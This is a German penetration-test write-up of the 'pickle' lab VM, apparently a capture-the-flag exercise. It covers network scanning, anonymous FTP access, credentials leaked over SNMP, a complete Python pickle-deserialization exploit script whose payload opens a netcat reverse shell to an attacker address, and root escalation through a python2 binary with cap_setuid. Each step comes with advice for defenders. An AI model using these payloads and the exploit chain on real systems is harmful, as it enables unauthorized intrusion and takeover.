192.168.2.140 08:00:27:9c:17:98 PCS Systemtechnik GmbH
**Analyse:** Mittels `arp-scan -l` wird das lokale Netzwerk gescannt. Der Host mit der IP-Adresse `192.168.2.140` wird identifiziert. Die MAC-Adresse (`08:00:27:9c:17:98`) gehört zum OUI von "PCS Systemtechnik GmbH", was auf eine VirtualBox-VM hindeutet.
**Bewertung:** Die Ziel-IP wurde erfolgreich gefunden und wird für den nachfolgenden Nmap-Scan verwendet.
**Empfehlung (Pentester):** Die identifizierte IP `192.168.2.140` als Ziel für Nmap verwenden.
**Empfehlung (Admin):** Netzwerk-Monitoring zur Erkennung unbekannter Geräte. Sicherstellen, dass nur autorisierte Systeme im Netzwerk aktiv sind.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 13:33 CEST Nmap scan report for pickle (192.168.2.140) Host is up (0.00016s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxr-xr-x 1 0 0 1306 Oct 12 2020 init.py.bak | ftp-syst: | STAT: | FTP server status: [...] |_End of status 1337/tcp open http Werkzeug httpd 1.0.1 (Python 2.7.16) |_http-title: Site doesn't have a title (text/html; charset=utf-8). | http-auth: | HTTP/1.0 401 UNAUTHORIZED\x0D |_ Basic realm=Pickle login |_http-server-header: Werkzeug/1.0.1 Python/2.7.16 MAC Address: 08:00:27:9C:17:98 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Unix [...]
**Analyse:** Der Nmap-Scan (`-sS -sC -sV -A -p-`) auf `192.168.2.140` (Host `pickle`) offenbart zwei offene TCP-Ports: * **Port 21 (FTP):** vsftpd 3.0.3. Das Skript `ftp-anon` bestätigt, dass anonymes FTP-Login erlaubt ist. Im Wurzelverzeichnis der anonymen Freigabe liegt eine Datei `init.py.bak`. * **Port 1337 (HTTP):** Ein Werkzeug HTTP-Server (Version 1.0.1), der mit Python 2.7.16 läuft. Das Skript `http-auth` erkennt eine HTTP Basic Authentication (`realm=Pickle login`), die einen `401 Unauthorized`-Statuscode verursacht. Kein SSH-Port (22) ist offen. Das Betriebssystem wird als Linux identifiziert.
**Bewertung:** Beide Ports sind hochinteressant: * **FTP (Port 21):** Anonymer Zugriff ist oft eine Quelle für Informationslecks oder manchmal sogar für Upload-Möglichkeiten. Die Datei `init.py.bak` ist besonders vielversprechend, da es sich wahrscheinlich um den Quellcode der Webanwendung auf Port 1337 handelt. `.bak`-Dateien deuten auf Backups hin, die versehentlich zugänglich gemacht wurden. * **HTTP (Port 1337):** Eine Python/Werkzeug-Anwendung, die Authentifizierung erfordert. Der Quellcode aus der `init.py.bak` wird entscheidend sein, um die Funktionsweise und mögliche Schwachstellen zu verstehen. Die Verwendung von Python 2.7 ist veraltet und erhöht die Wahrscheinlichkeit von Schwachstellen (z.B. in `pickle`).
**Empfehlung (Pentester):**
1. **FTP:** Sich anonym per FTP anmelden und die Datei `init.py.bak` herunterladen und analysieren.
2. **HTTP:** Nach der Analyse von `init.py.bak` nach Wegen suchen, die Authentifizierung zu umgehen oder Anmeldeinformationen zu finden (z.B. durch andere Dienste wie SNMP). Die identifizierten Schwachstellen im Code (wahrscheinlich Pickle Deserialization) für den Initial Access nutzen.
3. **Andere Dienste:** Da nur zwei Ports offen sind, nach UDP-Diensten scannen (z.B. SNMP mit `nmap -sU`) oder nach anderen Informationsquellen suchen.
**Empfehlung (Admin):**
1. **FTP:** Anonymen FTP-Zugriff deaktivieren, wenn er nicht zwingend benötigt wird. Wenn er benötigt wird, sicherstellen, dass keine sensiblen Dateien (wie Quellcode-Backups) im anonymen Bereich liegen und die Berechtigungen restriktiv sind (idealerweise nur Lesezugriff, kein Schreibzugriff). vsftpd auf die neueste Version aktualisieren.
2. **HTTP (Port 1337):** Anwendung auf Python 3 migrieren. Abhängigkeiten (Werkzeug) aktualisieren. Starke Authentifizierungsmethoden verwenden (nicht nur Basic Auth über HTTP). Quellcode sicher verwalten und keine Backups im Webroot oder FTP-Root hinterlassen. Schwachstellen wie unsichere Deserialisierung beheben.
Connected to 192.168.2.140. 220 (vsFTPd 3.0.3) Name (192.168.2.140:cyber): Anonymous 331 Please specify the password. Password: # (Kein Passwort benötigt) 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -la 229 Entering Extended Passive Mode (|||37283|) 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 Oct 12 2020 . drwxr-xr-x 2 0 0 4096 Oct 12 2020 .. -rwxr-xr-x 1 0 0 1306 Oct 12 2020 init.py.bak 226 Directory send OK. ftp> get init.py.bak local: init.py.bak remote: init.py.bak 229 Entering Extended Passive Mode (|||27593|) 150 Opening BINARY mode data connection for init.py.bak (1306 bytes). 100% |***********************************| 1306 83.12 KiB/s 00:00 ETA 226 Transfer complete. 1306 bytes received in 00:00 (81.84 KiB/s) ftp> cd /home 550 Failed to change directory.
**Analyse:** Der Pentester verbindet sich per FTP mit `192.168.2.140`. Der Login als Benutzer `Anonymous` (ohne Passwort) ist erfolgreich. Ein `ls -la` zeigt die Datei `init.py.bak`. Diese Datei wird erfolgreich mit `get` heruntergeladen. Der Versuch, in andere Verzeichnisse wie `/home` zu wechseln, schlägt fehl (`550 Failed to change directory`).
**Bewertung:** Der anonyme FTP-Zugriff ist auf das Wurzelverzeichnis beschränkt, aber der Download der `init.py.bak`-Datei war erfolgreich. Dies liefert den Quellcode der Webanwendung auf Port 1337.
**Empfehlung (Pentester):** Den heruntergeladenen Quellcode (`init.py.bak`) gründlich analysieren, um die Funktionsweise der Webanwendung und potenzielle Schwachstellen (insbesondere im Zusammenhang mit `pickle`) zu verstehen.
**Empfehlung (Admin):** Anonymen FTP-Zugriff prüfen und ggf. deaktivieren. Sicherstellen, dass keine sensiblen Dateien oder Backups über FTP zugänglich sind.
from functools import wraps from flask import * import hashlib import socket import base64 import pickle import hmac app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/") @app.route('/', methods=["GET", "POST"]) def index_page(): ''' __index_page__() ''' if request.method == "POST" and request.form["story"] and request.form["submit"]: md5_encode = hashlib.md5(request.form["story"]).hexdigest() paths_page = "/opt/project/uploads/%s.log" %(md5_encode) write_page = open(paths_page, "w") write_page.write(request.form["story"]) return "The message was sent successfully!" return render_template("index.html") @app.route('/reset', methods=["GET", "POST"]) def reset_page(): ''' __reset_page__() ''' pass @app.route('/checklist', methods=["GET", "POST"]) def check_page(): ''' __check_page__() ''' if request.method == "POST" and request.form["check"]: path_page = "/opt/project/uploads/%s.log" %(request.form["check"]) open_page = open(path_page, "rb").read() if "p1" in open_page: # Check scheint nicht wirksam/relevant für Exploit open_page = pickle.loads(open_page) # !!! UNSAFE DESERIALIZATION !!! return str(open_page) else: return open_page else: return "Server Error!" return render_template("checklist.html") if __name__ == '__main__': app.run(host='0.0.0.0', port=1337, debug=True)
**Analyse:** Der Quellcode der Flask-Anwendung (`init.py.bak`), die auf Port 1337 läuft, wird angezeigt.
* Importiert das `pickle`-Modul.
* Die Route `/` (index_page) nimmt POST-Daten entgegen (`story`-Parameter), berechnet deren MD5-Hash und schreibt die *originalen POST-Daten* in eine Datei unter `/opt/project/uploads/
**Bewertung:** Die unsichere Verwendung von `pickle.loads()` in der `/checklist`-Route ist eine gravierende Schwachstelle (Insecure Deserialization). Ein Angreifer kann: 1. Einen bösartigen, serialisierten Python-Payload erstellen (z.B. einen, der eine Reverse Shell startet). 2. Diesen Payload an die `/`-Route senden, damit er als Datei mit einem bekannten MD5-Hash gespeichert wird. 3. Den MD5-Hash des Payloads an die `/checklist`-Route senden. 4. Der Server liest die Payload-Datei und führt `pickle.loads()` darauf aus, was den bösartigen Code im Payload ausführt. Die HTTP Basic Authentication muss zuvor überwunden werden.
**Empfehlung (Pentester):**
1. Anmeldeinformationen für die HTTP Basic Authentication finden (z.B. via SNMP, Brute-Force).
2. Einen Pickle-Deserialisierungs-Payload für eine Reverse Shell erstellen (Python 2.7 `cPickle`).
3. Den Exploit-Workflow (Payload senden an `/`, Hash senden an `/checklist`) mit den gefundenen Credentials durchführen.
**Empfehlung (Admin):**
1. **`pickle.loads()` entfernen/ersetzen:** Niemals `pickle` zum Deserialisieren von Daten verwenden, die aus externen Quellen stammen oder vom Benutzer beeinflusst werden können. Sicherere Formate wie JSON (nur für Daten) oder sicherere Serialisierungsbibliotheken verwenden.
2. **Authentifizierung:** Basic Auth über HTTP ist unsicher, da Credentials base64-kodiert (leicht dekodierbar) übertragen werden. Sicherere Methoden (z.B. Token-basiert, OAuth, über HTTPS) verwenden.
3. **Debug-Modus:** Debug-Modus in Produktivumgebungen deaktivieren.
4. **Dateiuploads:** Den Speicherort und die Verarbeitung von hochgeladenen Dateien absichern.
**Analyse:** Der Nmap-Scan und die manuelle Überprüfung (nicht explizit geloggt, aber erwähnt) zeigen, dass `http://192.168.2.140:1337/` eine HTTP Basic Authentication erfordert.
**Bewertung:** Bevor die Pickle-Schwachstelle ausgenutzt werden kann, müssen gültige Anmeldeinformationen gefunden werden.
iso.3.6.1.2.1.1.1.0 = STRING: "Linux pickle 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (32052) 0:05:20.52
iso.3.6.1.2.1.1.4.0 = STRING: "lucas:SuperSecretPassword123!"
iso.3.6.1.2.1.1.5.0 = STRING: "pickle"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (29) 0:00:00.29
[...]
**Analyse:** `snmpwalk` wird verwendet, um SNMP-Informationen vom Ziel abzufragen. * `-c public`: Verwendet die Standard-Community-String "public" (oft unsicher). * `-v 1`: Verwendet SNMP Version 1. * `| head -n 15`: Zeigt nur die ersten 15 Zeilen der Ausgabe an. In der Ausgabe findet sich unter der OID `iso.3.6.1.2.1.1.4.0` (sysContact) der String `"lucas:SuperSecretPassword123!"`.
**Bewertung:** Ein kritischer Fund! Anmeldeinformationen (Benutzer `lucas`, Passwort `SuperSecretPassword123!`) wurden über SNMP mit dem öffentlichen Community-String preisgegeben. Dies ist eine häufige Fehlkonfiguration. Diese Credentials können nun für die HTTP Basic Authentication auf Port 1337 verwendet werden.
**Empfehlung (Pentester):** Die gefundenen Credentials `lucas:SuperSecretPassword123!` für den Zugriff auf Port 1337 verwenden und dann den Pickle-Exploit durchführen.
**Empfehlung (Admin):** SNMP absichern:
* Standard-Community-Strings (`public`, `private`) ändern oder deaktivieren.
* Starke, nicht erratbare Community-Strings verwenden.
* SNMPv3 mit Authentifizierung und Verschlüsselung verwenden.
* Zugriff auf SNMP über Firewall auf vertrauenswürdige Management-Systeme beschränken.
* Keine sensiblen Informationen (wie Passwörter) in SNMP-Feldern wie `sysContact` speichern.
hello
>>> import hashlib >>> message = "id" >>> print(hashlib.md5(message.encode('utf-8')).hexdigest()) # .encode() hinzugefügt für Python3 Kompatibilität b80bb7740288fda1f201890375a60c8f
id
**Analyse:** Der Pentester testet die `/checklist`-Route mit den gefundenen Credentials. 1. Eine Anfrage mit einem unbekannten Hash (`5d41...`) gibt "hello" zurück (wahrscheinlich der Inhalt der entsprechenden `.log`-Datei). 2. Der MD5-Hash für den String "id" wird berechnet (`b80b...`). 3. Eine Anfrage mit dem Hash von "id" an `/checklist` gibt "id" zurück. Dies bestätigt, dass die Anwendung den Inhalt der Datei zurückgibt, wenn der Hash korrekt ist und die Datei existiert (und vermutlich nicht "p1" enthält). Es zeigt nicht direkt die Pickle-Schwachstelle, testet aber die Funktionalität. *Hinweis: Das Python-Beispiel zur Hash-Berechnung scheint lokal ausgeführt worden zu sein.*
**Bewertung:** Die grundsätzliche Funktionsweise der `/` und `/checklist`-Routen ist verstanden. Die Anwendung speichert Daten unter ihrem MD5-Hash und gibt sie auf Anfrage wieder aus. Dies bestätigt den Mechanismus, der für den Pickle-Exploit benötigt wird.
**Analyse:** Der folgende Python-Code erstellt den Exploit-Payload für die Pickle-Deserialisierung und führt den Angriff durch.
#coding:utf-8 import os import hashlib import requests import cPickle # Wichtig: cPickle für Python 2.7 class CommandExecute(object): def __reduce__(self): # Reverse Shell Payload return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.156 9001 >/tmp/f',)) # Payload serialisieren convert_data = cPickle.dumps(CommandExecute()) # MD5 Hash des Payloads berechnen convert_crypt = hashlib.md5(convert_data).hexdigest() # Payload an / senden zum Speichern send_requests = requests.post('http://192.168.2.140:1337/', data={"story":convert_data, "submit":"Submit+Query"}, auth=("lucas", "SuperSecretPassword123!")) # /checklist mit dem Hash aufrufen, um Deserialisierung zu triggern check_requests = requests.post('http://192.168.2.140:1337/checklist', data={"check":convert_crypt}, auth=("lucas", "SuperSecretPassword123!")) print(check_requests.text) # Ausgabe ist irrelevant, Exploit läuft im Hintergrund
**Analyse:** Das Python-Skript automatisiert den Angriff: 1. Definiert die `CommandExecute`-Klasse mit der `__reduce__`-Methode, die `os.system` mit dem Reverse-Shell-Befehl (`nc 192.168.2.156 9001`) aufruft. *Hinweis: Die Angreifer-IP im Payload (`192.168.2.156`) unterscheidet sich von der im Nmap-Scan (`192.168.2.153`). Es wird die IP aus dem Payload verwendet.* 2. Serialisiert ein Objekt dieser Klasse mit `cPickle.dumps()` (passend zu Python 2.7). 3. Berechnet den MD5-Hash des serialisierten Payloads. 4. Sendet den serialisierten Payload (`convert_data`) per POST an die `/`-Route der Flask-Anwendung (mit Authentifizierung), um ihn auf dem Server zu speichern. 5. Sendet den MD5-Hash (`convert_crypt`) per POST an die `/checklist`-Route (mit Authentifizierung). Dies löst das Lesen der Payload-Datei und die unsichere Deserialisierung durch `pickle.loads()` aus, wodurch der Reverse-Shell-Befehl ausgeführt wird.
**Bewertung:** Dies ist der Proof-of-Concept (POC) für die Ausnutzung der Pickle-Deserialisierungs-Schwachstelle zur Erlangung von Remote Code Execution.
listening on [any] 9001 ... connect to [192.168.2.156] from (UNKNOWN) [192.168.2.140] 59068 /bin/sh: 0: can't access tty; job control turned off $ # Shell erhalten! (als lucas)
**Analyse:** Der Netcat-Listener auf der Angreifer-Maschine (`192.168.2.156`, Port `9001`) empfängt die eingehende Verbindung vom Zielserver (`192.168.2.140`). Eine einfache Shell (`/bin/sh`) wird bereitgestellt. Der Benutzer ist implizit `lucas`, da die Webanwendung wahrscheinlich unter diesem Benutzer läuft (bestätigt durch die SNMP-Credentials und spätere `ls`-Ausgaben).
**Bewertung:** Initial Access erfolgreich! Eine Shell wurde durch Ausnutzung der Pickle-Schwachstelle erlangt. Die Shell ist noch nicht interaktiv.
**Empfehlung (Pentester):** Die erhaltene Shell zu einer voll interaktiven TTY aufwerten (z.B. mit Python: `python -c 'import pty; pty.spawn("/bin/bash")'` oder `script /dev/null -c bash`).
**Empfehlung (Admin):** Die Pickle-Schwachstelle umgehend beheben. SNMP absichern. Berechtigungen des Webserver-Benutzers (`lucas`) überprüfen und minimieren.
total 32 drwxr-xr-x 3 lucas lucas 4096 Oct 11 2020 . drwxr-xr-x 4 root root 4096 Oct 12 2020 .. -rw------- 1 lucas lucas 1 Oct 12 2020 .bash_history -rw-r--r-- 1 lucas lucas 220 Oct 11 2020 .bash_logout -rw-r--r-- 1 lucas lucas 3526 Oct 11 2020 .bashrc drwxr-xr-x 3 lucas lucas 4096 Oct 11 2020 .local -rw-r--r-- 1 lucas lucas 807 Oct 11 2020 .profile -rw-r--r-- 1 lucas lucas 66 Oct 11 2020 .selected_editor
lucas mark
**Analyse:** Die Shell läuft als Benutzer `lucas`. Das Home-Verzeichnis von `lucas` enthält Standarddateien. Das `/home`-Verzeichnis zeigt einen weiteren Benutzer: `mark`.
**Bewertung:** Keine direkten PrivEsc-Vektoren im Home-Verzeichnis von `lucas` sichtbar. Der Benutzer `mark` ist das nächste Ziel für die Enumeration oder laterale Bewegung.
Password: SUk5enRY2FnUWxnV1BUWFJNNXh4amxhc00wPQ== # Passwort direkt aus dem Log/Notizen eingegeben
**Analyse:** Der Pentester versucht, mit `su mark` zum Benutzer `mark` zu wechseln. Das Passwort `SUk5enRY2FnUWxnV1BUWFJNNXh4amxhc00wPQ==` wird eingegeben (es scheint direkt im Log als Passwort dokumentiert zu sein, nicht als etwas zum Dekodieren). Der Wechsel ist erfolgreich.
**Bewertung:** Dies ist ein ungewöhnlicher Schritt. Entweder wurde das Passwort für `mark` durch eine vorherige, nicht gezeigte Enumeration gefunden, oder es war Teil der Aufgabenstellung/Hinweise der VM. Das Passwort selbst sieht wie Base64 aus, wird aber anscheinend direkt als Passwort verwendet. Der Wechsel zu `mark` ist ein wichtiger Fortschritt.
**Empfehlung (Pentester):** Nun als `mark` weiter enumerieren. Insbesondere `sudo -l` und Capabilities prüfen.
**Empfehlung (Admin):** Die Herkunft des `mark`-Passworts untersuchen. Wenn es durch Enumeration gefunden wurde, die entsprechende Lücke schließen. Wenn es ein schwaches/Standardpasswort war, Richtlinien durchsetzen. Sicherstellen, dass Benutzer keine leicht erratbaren oder wiederverwendeten Passwörter nutzen.
python2 user.txt
e25fd1b9248d1786551e3412adc74f6f
**Analyse:** Als Benutzer `mark` wird ins Home-Verzeichnis gewechselt. Dort befinden sich ein Binary namens `python2` und die Datei `user.txt`. Die `user.txt` wird erfolgreich gelesen.
**Bewertung:** User-Flag gefunden! Das Vorhandensein eines `python2`-Binary im Home-Verzeichnis ist verdächtig und deutet auf einen möglichen PrivEsc-Vektor hin.
/home/mark/python2 = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
**Analyse:** Der Befehl `getcap -r / 2>/dev/null` sucht rekursiv im gesamten Dateisystem nach Dateien mit gesetzten Linux Capabilities. Das Ergebnis zeigt, dass die Datei `/home/mark/python2` die Capability `cap_setuid+ep` besitzt. `cap_setuid` erlaubt einem Prozess, seine User ID (UID) zu ändern. `+ep` bedeutet, dass die Capability sowohl "effective" als auch "permitted" ist.
**Bewertung:** Das ist der entscheidende Fund für die Root-Eskalation! Ein Python-Interpreter mit der `cap_setuid`-Capability kann dazu missbraucht werden, die UID auf 0 (root) zu setzen und somit Root-Rechte zu erlangen.
**Empfehlung (Pentester):** Das `/home/mark/python2`-Binary ausführen. Innerhalb des Python-Interpreters das `os`-Modul importieren und `os.setuid(0)` aufrufen. Anschließend Befehle als root ausführen (z.B. eine Root-Shell starten oder `/root/root.txt` lesen).
**Empfehlung (Admin):** Niemals Capabilities wie `cap_setuid` an Skript-Interpreter (Python, Perl, Bash etc.) oder generell an Programme vergeben, die nicht explizit dafür ausgelegt und gehärtet sind. Capabilities sollten nur sehr gezielt und mit Bedacht eingesetzt werden. Diese Capability von `/home/mark/python2` sofort entfernen (`setcap cap_setuid-ep /home/mark/python2`). Überprüfen, warum diese Capability gesetzt wurde.
Python 2.7.16 (default, Oct 10 2019, 22:02:15) [GCC 8.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> os.setuid(0) # UID auf root setzen >>> os.system("cat /root/root.txt") # Befehl als root ausführen 7a32c9739cc63ed983ae01af2577c01c 0 # Rückgabewert von os.system
**Analyse:** Der Python-Interpreter `/home/mark/python2` wird gestartet. Das `os`-Modul wird importiert. `os.setuid(0)` wird aufgerufen; da das Binary die `cap_setuid`-Capability hat, ist dieser Aufruf erfolgreich und der Prozess läuft nun mit `UID=0`. Anschließend wird `os.system("cat /root/root.txt")` ausgeführt, was die Root-Flag erfolgreich ausgibt.
**Bewertung:** Privilege Escalation zu Root erfolgreich abgeschlossen! Die `cap_setuid`-Capability des Python-Binaries wurde erfolgreich ausgenutzt.
**Empfehlung (Pentester):** Root-Flag dokumentieren. Ggf. eine stabile Root-Shell starten (`os.system('/bin/bash')`).
**Empfehlung (Admin):** Die `cap_setuid`-Capability vom Python-Binary entfernen. System auf weitere Fehlkonfigurationen bei Capabilities oder SUID-Binaries prüfen.